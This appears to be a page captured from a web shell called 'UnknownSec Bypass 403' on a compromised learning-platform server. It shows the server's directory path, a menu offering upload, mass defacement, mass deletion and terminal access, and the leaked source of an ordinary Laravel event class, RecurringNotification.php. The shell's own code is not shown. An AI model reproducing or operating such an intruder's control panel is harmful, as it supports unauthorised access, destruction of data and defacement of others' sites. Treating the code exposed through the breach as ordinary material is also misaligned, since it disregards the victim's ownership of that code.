UnknownSec Bypass
403
:
/
mnt
/
lmsestudio-instance-vol002
/
lms_9e37ed18ed18
/
app
/
Events
/ [
drwxr-xr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
RecurringNotification.php
<?php namespace EstudioLMS\Events; use EstudioLMS\Events\Event; use EstudioLMS\Repositories\Financial\HireSubscriptionInterface; use Illuminate\Queue\SerializesModels; use Illuminate\Contracts\Broadcasting\ShouldBroadcast; /** * Class RecurringNotification * @package EstudioLMS\Events */ class RecurringNotification extends Event { use SerializesModels; private $typeMail; private $transaction; /** * Create a new event instance. * * @param $typeMail * @param $transaction */ public function __construct( $typeMail, $transaction ) { $this->typeMail = $typeMail; $this->transaction = $transaction; } /** * @return mixed */ public function typeMail() { return $this->typeMail; } /** * @return mixed */ public function grabData() { if (gettype($this->transaction) == 'object') { $subscriptionHash = $this->transaction->getMetadata()['subscription_hash']; } else { $subscriptionHash = $this->transaction; } return app(HireSubscriptionInterface::class)->with(['subscription', 'user', 'periodicity']) ->findWhere([['subscription_hash', '=', $subscriptionHash]]) ->first(); } /** * @return mixed */ public function grabTransaction() { return $this->transaction; } }
Copyright © 2026 - UnknownSec